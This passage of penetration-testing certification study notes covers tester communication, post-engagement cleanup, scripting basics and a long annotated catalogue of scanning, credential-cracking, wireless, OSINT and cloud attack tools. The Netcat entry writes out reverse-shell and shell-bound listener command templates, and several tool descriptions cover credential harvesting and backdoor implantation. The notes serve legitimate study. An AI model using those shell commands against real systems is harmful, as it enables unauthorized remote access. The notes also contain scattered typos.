  + **Access control vestibule**
  + **Biometric controls**
  + **Video surveillance**

## 4.3 Explain the importance of communication during the penetration testing process

* Communication path
  + **Primary contact** is responsible for day-to-day administration of the penetration test
  + **Technical contact** can handle any technology issues or questions that arise during the test
  + **Emergency contact** is a 24-hour security operations center that may be used in the event of an emergency
* Communication triggers
  + **Critical findings** that are discovered and validated should be communicated following the procedures outlined in the SOW to immediately notify management of the issue
  + **Status reports** should be presented as milestones are accomplished to management
  + **Indicators of prior compromise** should be immediately presented to management and the activation of the cybersecurity incident response process should follow
* Reasons for communication
  + **Situational awareness**
  + **De-escalation**
  + **Deconfliction**
  + **Identifying false positives**
  + **Criminal activity**
* Goal reprioritization
* Presentation of findings

## 4.4 Explain post-report delivery activities

* Post-engagement cleanup
  + **Removing shells**
  + **Removing tester-created credentials**
  + **Removing tools**
* Client acceptance should be done formally via a written acknowledgement of your final report, but more typically includes a face-to-face meeting where testers discuss the results with business and technical leaders and answer questions
* Lessons learned is the team’s opportunity to get together and discuss the testing process and results without the client present
* Follow-up actions/retest
* Attestation of findings can be as simple as a short letter confirming that the client engaged the tester for a penetration test, or it may require a listing of high-risk findings along with confirmation that the findings were successfully remediated after the test
* Data destruction process

# Domain 5: Tools and Code Analysis

## 5.1 Explain the basic concepts of scripting and software development

* Logic constructs
  + **Loops**
  + **Conditionals**
  + **Boolean operator**
  + **String operator**
  + **Arithmetic operator**
* Data structures
  + **JSON**
  + **Key value**
  + **Arrays**
  + **Dictionaries**
  + **Comma-separated values**
  + **Lists**
  + **Trees**
* Libraries
* Classes
* Procedures
* Functions

## 5.2 Given a scenario, analyze a script or code sample for use in a penetration test

* Shells
  + **Bash** is saved as .sh

#!/bin/bash

echo “Hello, world!”

* + **PS** is saved as .ps1

Write-Host “Hello, world!”

* Programming languages
  + **Python** is saved as .py

print(“Hello, world!”)

* + **Ruby** is saved as .rb

puts “Hello world!”

* + **Perl** is saved as .pl

#!/usr/bin/perl

print(“Hello, world!\n”);

* + **JavaScript**

alert(‘Hello, world!’)

* Analyze exploit code to:
  + **Download files**
  + **Launch remote access**
  + **Enumerate users**
  + **Enumerate assets**
* Opportunities for automation
  + **Automate penetration testing process**
    - *Perform port scan and then automate next steps based on results*
    - *Check configurations and produce a report*
  + **Scripting to modify IP addresses during a test**
  + **Nmap scripting top enumerate cyphers and produce reports**

## 5.3 Explain use cases of the following tools during the phases of a penetration test

* Scanners
  + **Nikto** is an open source Perl language software used to perform vulnerability scans on web-servers
  + **Open VAS** is a full-featured vulnerability scanner including capabilities such as unauthenticated/authenticated testing, various high-level and low-level internet and industrial protocols, performance tuning for large-scale scans and a powerful internal programming language to implement any type of vulnerability test
  + **SQLmap** is a tool used for the automated exploitation of SQL injection vulnerabilities
  + **Nessus** is a platform developed by Tenable that scans for security vulnerabilities in devices, applications, Oss, cloud services and other network resources
  + **SCAP** is a method for using specific standards to enable automated vulnerability management, measurement, and policy compliance evaluation of systems deployed in an organization
  + **Wapiti** is a CLI tool to automate the audit of a web application
  + **WPScan** is used to scan WordPress websites for known vulnerabilities
  + **Brakeman** is a CLI tool that analyzes the source code of Ruby on Rails applications to find potential security vulnerabilities
  + **Scout Suite**
* Credential testing tools
  + **Hashcat** is a password-cracking utility that uses GPUs to crack passwords at a very high rate of speed
  + **Medusa** is a brute-force login attack tool that supports a variety of protocols and services
  + **Hydra** is a brute-force dictionary attack tool that ius designed to work against a variety of protocols and services including SSH, http/https, SMB, and even databases
  + **CeWL** is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds
  + **John the Ripper** is a go-to password recovery tool that autodetects many common hashes while providing support for modern Linux and Windows password hashes, as well as custom dictionaries and other features
  + **Cain** is a dated password recovery tool designed to work with Windows NT, 2000, and XP
  + **Mimikatz**
  + **Patator** is another tool in the same class as Hydra and Medusa but is more difficult to use
  + **DirBuster** is a dated but sometimes useful Java application that is designed to brute-force directories and filenames on web servers
  + **W3af** is an open source web application security scanner that includes directory and filename brute-forcing in its list of capabilities
* Debuggers
  + **OllyDbg** is a Windows debugger that works on binary code at the assembly language level
  + **Immunity Debugger** is designed specifically to support penetration testing and the reverse engineering of malware
  + **GNU Debugger (GDB)** is a widely used open source debugger for Linux that works with a variety of programming languages
  + **WinDbg** is another Windows-sepcific debugging tool that was created by MS
  + **IDA** is a commercial debugging tool that works on Windows, Mac, and Linux platforms
  + **Covenant** is another Windows-specific command and control framework for .NET applications that includes a debugging tool
  + **SearchSploit**
* OSINT
  + **WHOIS** is a widely used Internet record listing that identifies who owns a domain and how to get in contact with them
  + **Nslookup** is a CLI command that lets users enter a host name and find out the corresponding IP address or DNS record
  + **FOCA**is a tool used mainly to find metadata and hidden information in the documents its scans
  + **theHarvester** is a CLI tool included in Kali Linux that acts as a wrapper for a variety of search engines and is sued to find email accounts, subdomain names, virtual hosts, open ports/banners, and employee names related to a domain from different public sources
  + **Shodan** provides prebuilt searches as well as categories of search for industrial control systems, databases, and other common search queries
  + **Maltego** offers real-time data mining and information gathering, as well as the representation of this information on a node-based graph, making patterns and multiple order connections between said information easily identifiable
  + **Recon-ng** reduces time spent harvesting information from open resources and consists of an extensive range of modules and database interaction – useful for collating information into once centralized source for a database
  + **Censys** is a platform that helps information security practitioners discover, monitor, and analyze devices that are accessible from the Internet
* Wireless
  + **Aircrack-ng suite** of tools provides the ability to conduct replay and Deauthentication attacks and to act as a fake access point – also provides the ability to crack WPA PSK, in addition to the normal packet capture and injection capabilities built into most wireless security tools
  + **Kismet** provides wireless packet capture and sniffing
  + **Wifite** (Wifite2) is a wireless network auditing tool including WPA handshake capture capabilities, support for pixie dust attacks, support for identification of hidden access points, and WPA handshake cracking
  + **Rogue access point**
  + **EAPHammer** is a tookit for performing targeted evil twin attacks against WPA2-Enterprise networks
  + **mdk4** is a tool designed to exploit 802.11 protocol weaknesses and flaws and includes capabilities ranging from SSID probing and brute forcing to flooding, fuzzing, Deauthentication, and disassociation tools – can also target WiFi mesh networks and conduct DoS against wireless networks
  + **Spooftooph** is designed to automate spoofing or cloning Bluetooth device Name, Class, Address
  + **Reaver** performs a brute-force attack against an access point’s WPS PIN
  + **WiGLE** is a website for collecting information about the different wireless hotspots around the world – GPS coordinates, SSID, MAC address, encryption, etc.
  + **Fern** is a WiFi cracking tool that includes WPA2 dictionary attack functions, session hijacking functions, geolocation abilities for access point mapping, on-path attack support, and a range of brute-force functions for common services via HTTP, Telnet, and FTP
* Web application tools
  + **OWASP ZAP** is the world’s most widely used web application scanner
  + **Burp Suite**
  + **Gobuster** is a tool used to brute-force URIs including directories and files as well as DNS subdomains
* Social engineering tools
  + **SET**
  + **BeEF**
* Remote access tools
  + **SSH**
  + **Ncat** is the successor to Netcat with additional capabilities including using SSL, proxies, and handy tricks like sending email or chaining Ncat sessions together as part of a chain to allow pivoting
  + **Netcat** is a remote access tool typically used for setting up a reverse shell or listener
    - Linux: nc [IP of remote system] [port] –e /bin/sh
    - Windows: nc [IP of remote system] [port] –e cmd.exe
    - Listener: nc –l –p [port]
    - Listener linked to shell: nc –l –p [port] –e /bin/sh
  + **ProxyChains** can be used to tunnel any traffic through a propxy server, with full support for HTTTP, SOCKS4, and SOCKS5 proxy servers and with the ability to chain multiple proxies together to further conceal your actions
    - proxychains [application command]
* Networking tools
  + **Wireshark**
  + **Hping** is a packet generation (crafting) tool that supports raw IP packets, ICMP, UDP, TCP, and a wide range of packet manipulation tricks, including setting flags, splitting packets, and many others
* Miscellaneous
  + **SearchSploit** is a command-line tool that allows us to search and browse all the exploits available at exploitdb
  + **PowerSploit** is a collection of MS PS modules that can be used to aid penetration testers during all phases of an assessment
  + **Responder** is a python tool capable of harvesting credentials through on-path attacks within Windows networks via LLMNR, NBT-NS, and MDNS
  + **Impacket tools** are a collection of Python classes for working with network protocols focused on providing low-level programmatic access to the packets and for some protocols (SMB and MSRPC)
  + **Empire** is a post-exploitation tool similar to Metasploit that works well with PS, though it also supports tools written in Python and C#
  + **Metasploit**
  + **mitm6** is a pentesting tool created by Dirk-jan Mollema, that exploits the default configuration of Windows to take over the default DNS server
  + **CrackMapExec** is a post-exploitation tool developed in Python and designed for penetration testing against networks – collects Active Directory information to conduct lateral movement through targeted networks
  + **TruffleHog** is a security tool that scans code repositories for vulnerabilities related to scret keys, such as private encryption keys and passwords
  + **Censys** is a platform that helps information security practitioners discover, monitor, and analyze devices that are accessible from the Internet
* Stenography tools
  + **Open steg** provides data hiding within a cover file and watermarking with an invisible signature – can be used to detect unauthorized file copying
  + **Steghide** is able to hide data in various kinds of image and audio files
  + **Snow** is a whitespace steganography tool that is used to embed hidden messages in ASCII format by extending the whitespace to the end of lines
  + **Coagula** is an image synth meaning it is both a simple image editor and a program for making sound from those images
  + **Sonic Visualizer** is a program for highly configurable detailed visualization, analysis, and annotation of audio recordings
  + **TinEye** is a reverse image search engine
  + **Metagoofil** is an information gathering tool designed for extracting metadata of public documents (pdf, doc, xls, ppt, docx, pptx, xlsx) belonging to a target company – it will perform a search in Google to identify and download the documents to local disk
  + **Online SSL checkers**
* Cloud tools
  + **Scoute Suite** is an open source multicloud auditing tool that leverages APIs to gather configuration data – needs appropriately privileged system
  + **CloudBrute** is a cloud enumeration tool designed to identify applications and storage in multiple cloud provider environments – will run without credentials
  + **Pacu** is an Amazon AWS-specific exploitation framework that uses multiple modules to perform actions like testing for privilege escalation or disrupting monitoring efforts – can also implant backdoors via IAM user account modification and security groups and has remote code execution capabilities using native AWS system management tools
  + **Cloud Custodian** is not a pentesting tool – it’s designed to allow users to secure their cloud environment